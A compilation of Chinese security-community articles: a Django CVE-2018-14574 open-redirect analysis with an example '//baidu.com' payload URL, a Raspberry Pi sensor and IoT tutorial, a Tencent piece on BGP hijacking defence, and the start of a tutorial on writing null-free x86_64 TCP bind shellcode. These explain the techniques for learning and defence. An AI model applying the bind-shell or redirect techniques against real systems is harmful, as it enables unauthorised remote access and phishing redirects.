<http://t.cn/RnMH4JZ>
4.还原Facebook史上最大数据外泄事件始末
<http://t.cn/RnMRQPK>
【恶意软件】
1.一类勒索软件变种利用开源GNU Privacy Guard加密数据
<http://t.cn/RnMvd8M>
【漏洞】
1\. CNNVD最新漏洞（2018-03-20）
<http://t.cn/RnMuAAB> | 社区文章 |
# 零、基本信息
CVE-ID：CVE-2018-14574
漏洞类型：URL跳转
影响范围：1.11.0 <= version < 1.11.15 和 2.0.0 <= version < 2.0.8
# 一、环境复现
# 二、漏洞分析
当setting中配置了django.middleware.common.CommonMiddleware且APPEND_SLASH为True时漏洞就会触发，而这两个配置时默认存在的，而且APPEND_SLASH不用显示写在setting文件中的。CommonMiddleware是Django中一个通用中间件，实质上是一个类，位于site-packages/django/middleware/common.py，会执行一些HTTP请求的基础操作：
- Forbid access to User-Agents in settings.DISALLOWED_USER_AGENTS
- URL rewriting: Based on the APPEND_SLASH and PREPEND_WWW settings,
append missing slashes and/or prepends missing "www."s.
- If APPEND_SLASH is set and the initial URL doesn't end with a
slash, and it is not found in urlpatterns, form a new URL by
appending a slash at the end. If this new URL is found in
urlpatterns, return an HTTP redirect to this new URL; otherwise
process the initial URL as usual.
This behavior can be customized by subclassing CommonMiddleware and
overriding the response_redirect_class attribute.
- ETags: If the USE_ETAGS setting is set, ETags will be calculated from
the entire page content and Not Modified responses will be returned
appropriately. USE_ETAGS is deprecated in favor of
ConditionalGetMiddleware.
而漏洞就与URL
rewriting有关：如果设置了APPEND_SLASH=True并且初始URL没有以斜杠结尾，并且在urlpatterns中找不到它，则通过在末尾附加斜杠来形成新的URL。如果在urlpatterns中找到此新URL，则将HTTP重定向返回到此新URL。换句话说就是对那些末尾没加/的url自动填补/然后重新发起请求。比如
但是当发起当发起类似这样的请求<http://127.0.0.1:8000//baidu.com>
程序就会进行设定的跳转，首先会执行process_request()函数，在61行进入get_full_path_with_slash()函数
这个函数的作用就是get_full_path()函数给path末尾加上斜杠
返回的new_path就是//baidu.com/ ，然后在68行进入HttpResponseRedirectBase这个类，它是HTTP跳转的一个基类
虽然类的初始化函数里（409行）有对协议的检查，但是scheme根本就不存在，所以会跳过这个判断。
在往后就是正常的301跳转
双斜线是为了告诉浏览器这是绝对路径，否则就会跳转到<http://127.0.0.1:8000/baidu.com/> 而不是baidu了。
# 三、补丁分析
修补方法就是加了一个编码函数，
对第二个/编码，这样就构不成绝对路径了
# 四、参考文献
<https://nvd.nist.gov/vuln/detail?vulnId=2018-14574>
<https://github.com/django/django/commit/6fffc3c6d420e44f4029d5643f38d00a39b08525#diff-1f8be0eae49a1bf37d52829eaeda6a4eR14> | 社区文章 |
# 【技术分享】初玩树莓派B（四） 人体红外感应报警&物联网温湿度监控
|
##### 译文声明
本文是翻译文章，文章来源：IamHuskar@看雪论坛
原文地址：<http://bbs.pediy.com/showthread.php?t=212957>
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
* * *
[](http://bobao.360.cn/learning/detail/3051.html)
[**【技术分享】初玩树莓派B（一） 基本介绍
&安装操作系统**](http://bobao.360.cn/learning/detail/3085.html)
[**【技术分享】初玩树莓派B（二） 实用配置(vnc和串口)
&GPIO操作点亮LED灯**](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（三） 控制蜂鸣器演奏乐曲**](http://bobao.360.cn/learning/detail/3093.html)
**
**
**人体红外感应报警**
前面的LED灯我们操作使用的GPIO的输出功能,这次我们终于需要用到GPIO的输入功能了。由于这个人体红外感应模块的使用比较简单。所以我们实验完毕以后配合前面的蜂鸣器一起，做一个简单的人体感应报警器。
**1\. HC-SR501 感应模块简介**
我们采用 HC-SR501型号的人体红外感应器来探测人体。更加详细的参数参考模块的使用说明书。
对照前面的参数以及电路图，找到下面的左右针脚正负极，中间的PIN为感应输出，感应到人体时，输出3.3V高电平，检测不到信号时输出0。同时还要求工作电压在4.5V-20V之间。恰好树莓派的P1编号中第2，4号PIN都是5V的电压，满足要求，所以这次我们要接5V的电压。
参数调节旋钮是用来扭动控制一些参数的。比如探测的延时时间，灵敏度等等。具体可以参看 HC -SR501的说明书。这里我们都使用默认值。
但是有一个关键的L H模式调节阀门要介绍一下，右上角有三个针脚，按照我实物照片，假定从上到下为123 。还有一个黄色的套接头，图中套接头接通了2
3号，代表了H模式，这个套接头是可以拔下来的，然后插到上面来，接通1 2号，代表了L模式。
L模式是不可重复触发，当探测到一次人体时，输出一次高电平，保持一段时间恢复低电平，在此期间如果还是检测到了人体也不再延长这个高电平的时间。等到低电平的封锁时间（前面默认是2.5S）过了以后才又开始检测。
H模式是可以重复触发，如果一直感应到人体时，会一直输出高电平，直到探测不到人体后保持小段时间然后恢复低电平。
**2\. GPIO输入的上拉和下拉**
对于学习软件的人来说，软件的世界只有0和1，所以我接触硬件之前也是这么认为的。所以我在使用人体红外感应的时候遇到了一个问题，我认为只要设置GPIO的模式为INPUT，后面只需要读取针脚的状态0,1就行了。结果我遇到一个问题。当我在设置比如pin22（wiringpi标号为6）为INPUT模式，接上一根线后，这一条线另一端什么都不接，按理说这时应该输入为0V，但是我尝试读取发现并不是一直保持低电平，而是一会儿高，一会低，用手握住另外一端就会输出高电平。当我接pin3（wiringPi
标号为8）却始终是高电平。不得不查询各种资料，发现还有上拉和下拉这种说法。
当我们给一个针脚接入GND，那么就是低电平，如果我们给一个针脚3.3V，那么就是高电平，状态是很确定的。如果我们什么都不接，那么这个针脚处于悬浮状态，很容易受到外接的干扰，可能是高也可能是低，也可能是处于高和低之间的状态。这时候我们就要明确指定这个针脚应该处于高或者低，不能让他处于悬浮状态。接入一个上拉电阻能够让这个针脚处于明确的高电平状态，接入一个下拉电阻能够让他处于明确的低电平状态。前面我们用作输出的时候都是明确给定了输出的高低状态。关于上拉电阻和下拉电阻，有一篇英文解释写的很不错，我也是参考这篇来看的，里面的测试大家也可以用树莓派测试一下。（<http://www.bit-101.com/blog/?p=3813>）。
PIN3始终处于高电平状态是因为。这个PIN口是用于树莓派I2C设备的，内部外接了一个物理的上拉电阻。所以他的状态一直是高电平，作为INPUT不能使用这个PIN。
PIN22
时高时低就是由于处于悬浮状态。所以我们要使用这个PIN就比如为他明确指定悬浮的时候是高还是低。wiringpi通过pullUpDnControl来控制这个变量。
**3\. 接线以及测试**
模块左边的针脚1接P1编号的PIN2 为5V的正极，模块右边的针脚3的负极接PIN6，模块中间的针脚2输出线接PIN22（wiringPi就是标号6）。
接线图如下：
图中我连蜂鸣器也接上去了。当我们检测到人体的时候。使用前一节的beep函数发出警告声音。我们先初步检测一下模块有没有工作正常。测试HC-SR501不同的模式。选择的H模式，套接头接下面两个脚。也就是可以重复触发，检测到人体，一直处于高电平。
可以看出中间是连续的检测，也就是高电平的时间随着人的活动延长了。
如果选择的L模式，套接头接上面两个脚。也就是不可以重复触发，检测到人体，输出高电平一段时间，后续一小段时间内检测到也不再延长这个高电平时间，必须等到锁定时间过了才会再次检测。
可以看出中间高电平的时间不是持续的。
检测的代码很简单：
代码:
#include <wiringPi.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#define INFRAREDPIN 6
int main()
{
int AnyBodyHere=0;
wiringPiSetup();
//设置为输入模式
pinMode(INFRAREDPIN,INPUT);
//很重要。控制默认情况下此PIN处于下拉低电平状态
pullUpDnControl(INFRAREDPIN,PUD_DOWN);
while(true)
{
//每一秒检测依次状态
delay(1000);
//读取当前pin的输入状态
AnyBodyHere=digitalRead(INFRAREDPIN);
if(AnyBodyHere)
{
printf("There is somebody heren");
}
else
{
printf("There is no one heren");
}
}
}
我们稍微修改一下。在检测到人体的时候使用第五节的beep函数执行报警的操作，这里我们选择使用H模式，持续感应，感应到以后使用beep发声。这样就简单实现了人体感应后自动报警。
具体代码下载infrared.c参考。
**物联网温湿度监控**
这一节用温湿度传感器接入中移动物联网上报家中的温湿度。
**1\. dht11传感器使用简介**
DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器。我购买的dht11只有三个针脚分别是 VCC DATA
GND，(有些是四阵脚的,多一个NC空脚)。
常用电路图：
前面我们已经玩了一些常用模块，接线都比较熟悉了。正极接3.3V，负极接GND，DATA(OUT)针脚我接了物理的11号针脚，对应于WiringPi标号是0,同时为DATA针脚接入一个5K欧姆的上拉电阻，使得空闲状态的时候为高电平。
对于之前使用的一些模块，我们只需要知道高低电平就可以了，现在要得到的是温度和湿度的具体数据，那么如何通过DATA针脚得到温度和湿度呢？通过DATA针脚采用单总线格式进行数据通讯。依次完整的数据传输为40bit，先读出来的是高位的数据。40bit数据的格式是：8bit湿度整数数据+8bit湿度小数数据+8bit温度整数数据+8bit温度小数数据+8bit校验和。如果数据是准确的，那么8bit湿度整
8bit湿度整数数据+8bit湿度小数数据+8bit温度整数数据+8bit温度小数数据的结果的末8位等于8bit校验和。
通讯过程如下，主机首先向传感器发送开始信号，等开始信号发送完毕以后。dht11发送响应信号，依次传回40bit的数据，随后进入空闲状态。
沟通握手过程如下，初始空闲状态DATA为高电平，主机将DATA拉低等待DHT11响应，拉低的时间必须大于18ms保证DHT11可以检测到这个状态。随后dht11等待开始信号结束，主机可以通过拉高电平20-40us表明信号结束。以后就可以准备读取dht11的响应信号了。dht11会发送80us的低电平来响应然后dht11再次将电平拉高持续80us表示后面的数据传输要开始了。
通讯过程如下：dht11每次传输1bit数据的过程是先拉低电平50us。随后拉高电平，高电平的时间长短决定了这1bit的数据是0还是1。当最后一个bit的数据传输完毕以后，dht11拉低电平50ms。随后上拉电阻拉高进入空闲状态。一次数据传输过程完毕。
传输0的过程：
传输1的过程：
关键部分代码如下。
代码:
/*
当检测到的状态不是state的时候就返回。
如果参数state是HIGH，那么需要等到检测到LOW的时候返回。
返回值代表了状态改变所用的时间计数。
返回值如果是-1 表明和设备通讯出现了错误，需要重新开始通讯。
*/
int loopCheckUntilStateChange(int state)
{
//初始时间计数为0
int count=0;
//读取针脚的状态
while(digitalRead(DHT11PIN)==state)
{
//如果状态没变那么计数加1
count++;
//如果计数超过了最大的计数，表明通讯错误，需要重新开始
if(count>MAX_COUNT)
return -1;
//延时1微秒。
delayMicroseconds(1);
}
return count;
}
/*
读取DHT11。如果读取成功，返回true，否则false。将温度放到 ptemp，将湿度放到
phumi
*/
bool readDHT11(float* ptemp,float* phumi)
{
int count=0,ibit=0;
bool bret=false;
//保存电平改变所用的时间计数
int bitsz[40]={0};
//保存读取到的4个温湿度数据和1个校验码
int data[5]={0};
//首先设置为输出模式
pinMode(DHT11PIN,OUTPUT);
//写入低电平
digitalWrite(DHT11PIN,LOW);
//低电平至少持续18ms。保证能够DHT检测到这个初始信号
delay(20);
//随后主机将电平拉高，通知DHT信号结束
digitalWrite(DHT11PIN,HIGH);
//将针脚转为输入模式，等待DHT的响应。
pinMode(DHT11PIN,INPUT);
//经过20-40us，我们需要等待DHT将电平从高电平拉低
if(loopCheckUntilStateChange(HIGH)<0)
{
return bret;
}
//DHT的响应信号低电平持续80us，等待DHT再次由低拉高
if(loopCheckUntilStateChange(LOW)<0)
{
return bret;
}
//高电平将持续80us,等待DHT将高电平拉低。开始传输数据
if(loopCheckUntilStateChange(HIGH)<0)
{
return bret;
}
//数据传输开始。每次传输一个bit。一共40bit。5字节
for(ibit=0;ibit<40;ibit++)
{
//每个bit传输由50us的低电平开始。变为高电平就是开始传输0或者1了。
if(loopCheckUntilStateChange(LOW)<0)
{
return bret;
}
//这次我们要检测高电平到低电平经过了多少个计数的count
//以此来决定这一bit是0还是1
count=loopCheckUntilStateChange(HIGH);
//如果小于0，出错了
if(count<0)
{
return bret;
}
//将高电平持续的count保存在bitsz里面。
bitsz[ibit]=count;
}
/*
定义了区别 0 和1 的count 阈值。这个阈值要根据实际情况和你写的函数调整。
比如 loopCheckUntilStateChange里面如果没有delayMicroseconds(1);完全跑CPU，那么count值会比较大。
如果有delayMicroseconds(1)那么这个值会小一些。
*/
#define THRESHOLD 20
for(ibit=0;ibit<40;ibit++)
{
/*
将data左移1位，因为ibit的传输是从高位到低位
每次填充后就要移动一次。
ibit/8 确定是第几个data
*/
data[ibit/8]<<=1;
/*
根据传输时高电平占用时间的count来确定这个bit是0还是1
THRESHOLD阈值根据不同的情况来确定，1的时间长，count大。0的时间短。count小。确定
一个中间的值即可
*/
if(bitsz[ibit]>THRESHOLD)
{
//如果超过了阈值。说明这一位是1。否则什么都不做。默认就是0了
data[ibit/8]|=1;
}
}
//检查校验码。查看整个数据是否传输准确了
if(data[4]!=(data[3]+data[2]+data[1]+data[0])&0xff)
{
return bret;
}
/*
由于dht11设备默认小数位为0，没有小数位.所以这里小数位就不要了。只有整数位的温度和湿度。
否则就是(%d.%d data[0].data[1])湿度 (%d.%d data[2].data[3])温度
*/
*ptemp=data[2]*1.0;
*phumi=data[0]*1.0;
return true;
}
THRESHOLD和 MAX_COUNT的确定要根据实际的代码来修改。
比如THRESHOLD，如果loopCheckUntilStateChange 没有delayMicroseconds(1)。
count=loopCheckUntilStateChange(HIGH);打印40次
得到的count结果如下。
可以看到count基本分为两类。一类是120-130左右，一类是370-380左右。
因此代表0的26-28us的高电平时间对应的count就是120-130
，代表1的70us的高电平count就是370-380。所以阈值可以设置为200。超过200就是1。小于200就是0。
如果加上了delayMicroseconds(1)。那么40次count的结果如下，前面指令都是跑CPU，因此count比较大，这里延时了1us，count就变小了。
明显看到一类是 10 左右，代表传输0。一类是30左右,代表传输1。
因此阈值设置为20。大于20是1，小于20是0。
这一部分代码的数据读取准确度不是很高，可能还需要稍作调整使得读取准确率更高，我是按照最好理解的方式写的。
**2\. 接入中移动的物联网开放平台**
<http://open.iot.10086.cn>/
是中移动推出的物联网平台，开放一些免费的接口可以开发应用，具体可以去官网查看更多资料，篇幅有限就不多介绍了，<http://open.iot.10086.cn/doc/>里面有详细文档文档。下面简单介绍一下使用步骤。
主要步骤参考<http://open.iot.10086.cn/doc/art190.html#43>
1\. 注册账号并登陆。
2\. 页面中进入开发者中心，并创建一个产品。
创建产品。
填写简单资料。
其他的默认，并且使用http传输协议数据。
**3\. 添加一个设备**
**4\. 为设备添加数据流**
点开设备。
操作栏中点击添加数据流。
注意数据流的id用英文比较好。后续我们post数据需要用这个英文的id，中文容易出各种编码问题。
我们添加两个。一个是humi 湿度。一个是temp温度。
**5\. 添加一个应用**
添加两个仪表盘。设备选择raspberry，数据流一个选择humi,一个选择temp。
保存应用。
web端的设置基本上就完毕了。
参看<http://open.iot.10086.cn/doc/art190.html#43>的协议文档。
为了上传温度和湿度，我们需要几个关键的数据。
1\. 设备id。这个从设备详情页可以拿到。
2\. appkey 。这个可以从appkey页面使用默认的
3\. 数据的id。也就是之前添加数据流的时候使用的humi和temp。
我们需要post的数据类似于
POST /devices/YOURDEVICEID/datapoints?type=3 HTTP/1.1
Host:api.heclouds.com
api-key:YOURAPIKEY
content-type:application/json
{
“temp”:25,“humi”:60
}
使用libcurl关键部分代码如下(记得替换YOURDEVICEID 以及YOURAPPKEY )。
代码:
#define POST_URL "http://api.heclouds.com/devices/YOURDEVICEID/datapoints?type=3"
void postData(float temp,float humi)
{
CURL *curl;
char jsonData[512];
struct curl_slist* header=NULL;
printf("humi=%.2f temp=%.2fn",humi,temp);
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, POST_URL);
header=curl_slist_append(NULL,"api-key:YOURAPPKEY");
curl_slist_append(header,"content-type:application/json");
sprintf(jsonData,"{"temp":"%.2f","humi":"%.2f"}",temp,humi);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, jsonData);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, showResponse);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, "/tmp/iotpost.cookie");
curl_easy_perform(curl);
curl_slist_free_all(header);
curl_easy_cleanup(curl);
};
//如果将上传的结果打印出来
size_t showResponse(void *buffer, size_t size, size_t nmemb, void *userp)
{
char* response=NULL;
if(!buffer||!size||!nmemb)
{
printf("no responsen");
return;
}
response=(char*)malloc(size*nmemb+1);
memcpy(response,buffer,size*nmemb);
response[size*nmemb]=0;
printf("response: %snn",response);
free((void*)response);
};
如果成功会输出：
{
"errno": 0,
"error":“succ”,
}
使用libcurl发送post请求。
首先需要安装libcurl
sudo apt-get install libcurl4-gnutls-dev
编译的时候也要加上-lcurl
gcc -o dht11 dht11.c -lwiringPi -lcurl
具体的代码参看dht11.c
如果成功提交post数据。可以在应用的页面看到你家庭的温度和湿度。将发布链接转给别人，人家就能看到你家庭的温度湿度了。
**附件**
infrared.c：<https://yunpan.cn/cvxEVQghJVqZW>（提取码：906c）
dht11.c：<https://yunpan.cn/cvx5JxcQwdDGm>（提取码：63ce）
**传送门**
* * *
[](http://bobao.360.cn/learning/detail/3051.html)
[**【技术分享】初玩树莓派B（一） 基本介绍
&安装操作系统**](http://bobao.360.cn/learning/detail/3085.html)
[**【技术分享】初玩树莓派B（二） 实用配置(vnc和串口)
&GPIO操作点亮LED灯**](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（三） 控制蜂鸣器演奏乐曲**](http://bobao.360.cn/learning/detail/3093.html) | 社区文章 |
**作者：腾讯安全应急响应中心
原文链接：<https://mp.weixin.qq.com/s/rZunI6Uxyks2TbSarsqR8A>**
## 导语
美国时间10月4日中午，Facebook公司网络出现重大故障，故障持续了6个小时后才恢复。官方给出的故障原因，简单来说是一次误操作引发了连锁反应。
（复杂点就是：在例行网络维护中，发送的一条命令无意中关闭了其全球骨干网的所有BGP连接，在其DNS服务器与内部网络不通后触发了内部机制，自动禁止DNS服务所在网段的BGP路由播布，而这又导致故障范围进一步加剧，并对故障恢复带来极大困难）。
这是Facebook创立以来最严重的一次网络访问事故，在这起故障中，我们又看到了BGP的身影（我为什么要说“又”）。
## BGP是什么？
BGP协议，全称Border Gateway
Protocol（边界网关协议），是组成我们当今Internet的一种去中心化的自治系统间的动态路由协议，它允许Internet上不同AS（自治系统）之间自动交换IP路由信息和可达信息，最主要功能在于控制路由的传播和选择最好的路由，并且还具备冗余备份、消除环路的特点。
该协议，最初是在1989年1月第12次IETF会议的午餐期间，Yakov Rekhter、 Kurt Lougheed 在 Len Bosak
的帮助下设计的，并写在了三张餐巾纸上【图1】。
图1
后来于1989年6月份正式发布了RFC1105（BGP-1），之后升级到了RFC1163（BGP-2）、RFC1267（BGP-3）和RFC1771（BGP-4），并一直沿用至今（BGP- 4）。
目前全球有18W+多个AS，通过BGP协议连接构建成了我们整体的互联网，这些AS号的使用者包括有各大ISP和内容提供商、云服务提供商、互联网企业、教育机构等等。
图2
## BGP安全问题有哪些？
虽然BGP协议在互联网中起着至关重要的作用，但是其安全性却很脆弱，一般BGP互联的2个AS之间，对于接收的IP前缀路由缺乏有效的认证机制（国内个别运营商会基于白名单做限制），导致无条件地接收或传播邻居AS的路由。
BGP的这种脆弱性，在遭受恶意攻击或人为变更配置错误时将会变得很突显，会对国家、运营商和企业带来极大威胁。
BGP路由的安全威胁，可以大致分为两大类：BGP路由劫持（包括IP前缀劫持、IP子前缀劫持、AS路径篡改）、BGP路由泄露。
前者更多是有目的性、恶意的攻击行为，后者多数发生在网络变更时的配置错误。【图3】列出了近10多年来的一些BGP重要安全事件。
图3
### 1\. BGP路由劫持
首先讲讲IP前缀劫持，攻击者向外宣告自己拥有受害者的IP前缀路由（前缀与受害者AS号通告的一样），该路由通过全球网络传播，其他 AS
将使用其本地策略选择合法源 AS 的路由还是攻击者AS 发起的虚假路由。这种劫持方式，攻击者一般只能劫持到该IP前缀的部分流量。
更进一步地，攻击者可以将劫持的IP前缀改成比受害者AS宣告的更明细（即IP子前缀劫持），最终其它AS将根据BGP最长匹配原则，优先选择攻击者宣告的虚假路由。这种方式，攻击者正常可以劫持绝大部分该子前缀的流量。
如【图4】，2008年2月24日，巴基斯坦为了国内言论管制封杀YouTube网站，电信局劫持了国内到YouTube对应IP子前缀208.65.153.0/24的访问（比YouTube全球宣告的208.65.153.0/22粒度更细），但由于电信局上游运营商PCCW将该劫持路由也通告了到全球，导致YouTube有至少2/3的互联网流量被劫持到巴基斯坦，致使其全球用户访问中断了2小时。
图4（截图来自外部）
### 2\. BGP路由泄露
路由泄漏是一种在现网中比较常见的路由事件，一般出现于ISP的错误配置，对外宣告了本不应该由该AS宣告的IP前缀路由，它能够造成 BGP
路由发生严重错误、进而导致互联网部分中断或拥塞。
路由泄露，并不涉及虚假的IP前缀路由宣告，肇事者向其它AS泄露出去的路由是“合法"存在的，只是它违反了AS之间的路由策略，结果导致泄露出去的路由涉及IP的流量被重定向。
如【图5】，2012年11月6日，因印尼运营商Moratel在其路由器的错误配置，导致Google的8.8.8.0/24的BGP网段路由被泄露到了Moratel上游运营商PCCW，并且被PCCW扩散了错误的BGP路由（由于PCCW的本地路由策略）到其网内和互联AS，结果导致大量访问Google的互联网流量经过PCCW后先绕行到Moratel以至于无法处理，其中香港是影响重灾区，因为PCCW是香港的主要电信服务商。
图5（截图来自外部）
这里也总结罗列了下BGP安全问题可能造成的影响：
1) BGP路由劫持
a. 流量被“黑洞”，正常访问中断
b. 流量被中间人监听或攻击，或重定向到虚假网站以窃取数据
c. IP被用于进行垃圾邮件活动
d. 正常用户访问路径变长，网络延迟增加
2) BGP路由泄露
a. 泄露者AS网络流量拥塞，引发网络丢包
b. 造成互联网局部链路拥塞，引发网络丢包
c. 泄露者AS无下一跳路径，导致流经该AS的流量中断
3) 其他
拒绝服务攻击（DoS）：恶意或无意导致的配置错误的BGP表内容，将流经该AS的流量错误地指向其它AS网络，可能引发受害者AS网内拥塞或流量中断
## 如何监控和防范
目前业界提出的解决方案主要有两类：一是采集现网数据进行分析、网络主动探测等方式，对IP前缀劫持进行检测、定位和缓解，虽然检测与缓解技术目前具有较高的实用性，但现网数据仍存在区域和时间维度的局限性，漏报与误报依然无法避免，且难以预防安全事件的发生。
二是通过基于数字签名、安全证书和加密技术等路由认证的安全机制，弥补BGP协议认证缺失的缺陷。
### 1\. IP前缀检测
企业可自建监测平台，通过获取全球BGP路由更新信息，然后选取本企业的IP前缀路由与自己AS网络路由发布情况进行对比，主动监控感知BGP路由异常情况。包括监控BGP路由劫持（判断BGP路由信息中AS_PATH的起源AS是否正确）、BGP路由健康度（比如判断单位周期内的路由更新类型、数量）。
监控方案，涉及到的全球BGP路由更新数据源，可通过多种方式获取，【图6】罗列了几种从外界拉取的方式，这些方案均存在一些缺陷，最明显的就是实时性和覆盖率问题。
图6
若无自建监测平台能力，可以使用商业的BGP路由监控平台，比如BGPMon。
企业在监测到BGP路由被劫持后，可反制的手段目前比较有限，包括向ISP宣告更明细的IP子前缀BGP路由，或者联系相关涉及ISP协助处置。
此外，作为用户、企业、教育机构等组织网络接入的提供商（ISP），也有义务针对接入到其网络的AS设置路由宣告规则，限制其宣告的IP前缀，避免恶意或错误配置导致的错误IP前缀BGP路由被宣告ISP网内，并传播到全球。
### 2\. 全路由认证安全机制
近年来，比较推广的方案是RPKI &ROV、 BGPsec。
2017年10月，国际互联网工程任务组（IETF）和美国国家标准与技术研究院（NIST）、美国国土安全部（DHS）等机构共同启动了一个名为安全域间路由（SIDR）的联合项目，明确提出应对
BGP 协议进行保护以抵御BGP路由攻击威胁。
“SIDR ”项目主要分为三个基本组成部分：资源公钥基础设施 (RPKI)、BGP 源路由验证（ROV）和 BGP 路径验证 (BGPSec)。
RPKI是一个分级的认证系统，RPKI存储有路由来源授权（Route Origin
Authorization，ROA），它是一个IP地址前缀与BGP起源AS绑定签名的记录。互联网中的路由器可以利用ROA来执行路由来验证（ROV），识别并丢弃来自未授权AS的“无效的”BGP路由宣告，以此防止IP前缀劫持攻击。
不过RPKI&ROV，只能防范如BGP路由劫持中
IP前缀、子前缀劫持这2种起源AS欺骗的简单攻击，像AS路径篡改、BGP路由泄露等场景，则需要采用BGPSec方案。BGPsec旨在补充BGP源路由验证的不足，当它与ROV结合使用时，可以防范各种针对BGP的路由劫持攻击。
原理是路由宣告过程中，路由器从它的邻居AS收到的IP前缀路由宣告消息进行签名，签名内容作为路由消息的BGPsec_Path属性传播给其它邻居AS，当路由器接收到带有BGPsec_Path属性的IP前缀更新路由时通过检查签名判断该路由的AS_Path路径是否正确，若错误的话直接丢弃，并不广播给其邻居AS。
## 腾讯的一些实践
针对外界BGP路由劫持的潜在风险，腾讯安全平台部宙斯盾团队联合网络平台部运营团队，搭建了腾讯BGP路由劫持监测平台。
在方案设计上，考虑到监控准确率、时效性以及后续的扩展能力，源数据采集基于网平团队在现网机房的部署BMP（BGP Monitoring Protocol
，BGP监控协议），通过获取对应的BGP路由更新信息进行路由劫持监控。
监测平台上线至今，已在现网多次监控到局部发生的腾讯网段被异常劫持或运营商侧异常变更问题。
>
> 2021年4月16日晚上，Vodafone在印度的AS（55410）出现BGP路由泄露事件，错误地宣告了30000多个BGP网段路由，导致全球多个网络和企业受影响，腾讯BGP路由劫持监测平台，也及时感知发现了异常，有部分腾讯BGP网段被AS
> 55410劫持，并及时进行了处置，最终未影响到业务。2021年4月16日晚上，Vodafone在印度的AS（55410）出现BGP路由泄露事件，错误地宣告了30000多个BGP网段路由，导致全球多个网络和企业受影响，腾讯BGP路由劫持监测平台，也及时感知发现了异常，有部分腾讯BGP网段被AS
> 55410劫持，并及时进行了处置，最终未影响到业务。
## 写在最后
其实在导语所述故障中除了BGP之外，还有另外一个基础协议的身影--DNS，作为互联网的基础设施，BGP和DNS的安全理应得到更多的重视。
这类故障不是第一次出现，也必然不会是最后一次出现。希望从顶层设计到底层实现，从业界到厂商，能共同携手更好的提升这里的安全能力。如同这个文章也许受众会很窄、浏览量会很低，但是我们仍然希望更多的朋友能看到。
参考资料： <https://queue.acm.org/detail.cfm?id=2668966>
* * * | 社区文章 |
# 【技术分享】开发Linux上带有基本认证的TCP Bind Shell
|
##### 译文声明
本文是翻译文章，文章来源：pentesterslife.blog
原文地址：<https://pentesterslife.blog/2017/11/01/x86_64-tcp-bind-shellcode-with-basic-authentication-on-linux-systems/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****本文的目标是使用x64汇编语言开发一个带有密码认证的tcp_bind_shell，并且程序中不包含任何null字节。
**
**
**二、找到落脚点**
****万事开头难，首先我们得找到一个落脚点。先来看看如何使用C语言编写tcp_bind_shell，程序源码请参考[此处链接](https://gitlab.com/0x4ndr3/SLAE64_Assignments/blob/master/Assignment_01/original%20basic%20bind%20shell/Bind-Shell.c)，C代码如下所示：
图1. C语言版的tcp_bind_shell
shellcode必须遵守如下几点基本规则：
1、长度尽可能短。实际环境中可用的内存可能非常小，可能导致shellcode注入失败。
2、最起码不应包含Null字节。还有其他一些字符不便于在shellcode中使用，但我们可以通过编码器解决这类问题，避免使用这些字符。
3、不要使用长跳转。当shellcode执行时，你并不知道代码在内存中的具体地址。
受长度所限，我们不会采用类似C代码中的错误条件检查机制。这么做也能理解，比如如果因为某些原因，我们无法创建套接字（socket），那么后续执行流程就可以不去考虑了。
因此，让我们先从socket创建开始（图1中第25行）。
我们使用syscall这条指令来执行linux
x86_64系统上的[系统调用](http://blog.tinola.com/?e=5)。这种方法不需要访问中断描述符表（interrupt
descriptor table），因此其执行速度会比x86架构上的int
0x80指令更快（即便x64上也支持这条指令）。这条指令通过RAX寄存器中的调用号来识别系统调用。参数按特定的顺序进行发送（即RDI、RSI、RDX、R10、R8以及R9），返回的值存放在RAX寄存器中。
我们可以在/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件中找到在RAX中存放的syscall调用号（我所使用的系统是64位的Ubuntu 17.04系统）：
图2. 在RAX寄存器中存放的syscall调用号
Python是个很好的工具，我们可以使用python来识别函数所使用的常量参数。
图3. 使用python的socket模块获取常量值
掌握这些基本知识后，我们可以构造出一段最为简单的代码：
图4. socket syscall
然而，如果我们编译这段代码（使用的命令为：nasm -f elf64 bindshell.nasm -o
bindshell.o），导出目标（object）代码（使用的命令为：objdump -M intel -d
bindshell.o），我们会发现结果中包含null字节：
图5. 对应的汇编代码
如果想解决这个问题，最简单的一种办法就是使用xor指令清空寄存器，然后将立即数（immediate value）mov到低位寄存器中。
图6.不包含null字节的代码
**
**
**三、减少代码量**
这里唯一的问题在于，使用原始的mov指令后，这段代码大小仍然为5个字节。因此，我们可以考虑使用另一种方法来删除null字节，即使用push/pop组合指令。push指令支持[“推入”](https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf)一个8位立即数（同时也会将剩余的高位字节作为null字节推入栈中），这样就能从代码中删除多余的null字节。
图7. Intel官方手册中提到的PUSH指令
这种方法的优点是两条指令的长度都有所减小。
图8. 代码长度得以减小
利用这种方法，我们可以将5字节长的原始指令大小缩短为3字节，同时也能删掉所有的null字节。
需要注意的是，在图6中，mov
al,0x29指令只包含2个字节。我们会在整段shellcode中使用这条指令，但前提是你需要确保上一个操作不会改变8字节寄存器中高位7字节所对应的0值（因为我们希望这段shellcode能尽可能保持代码一致性）。如果无法确保这个条件，在某一时刻，shellcode的执行过程就会被打断。这也是为什么我们在构造第一个syscall时不使用“mov
al,…”的原因，因为我们无法确保shellcode开始执行时这些寄存器处于清零状态。
我们还可以使用另一种方法将3字节大小的“mov r64,
r64”缩短到2字节，那就是使用xchg指令。但这种方法也有缺陷，使用起来必须非常小心，以避免shellcode崩溃。当这条指令的操作对象包含RSP寄存器时，我们显然无法使用这条指令，同时我们还要注意涉及到的两个寄存器操作数满足使用条件，因为这一过程是两个寄存器之间的相互交换过程。
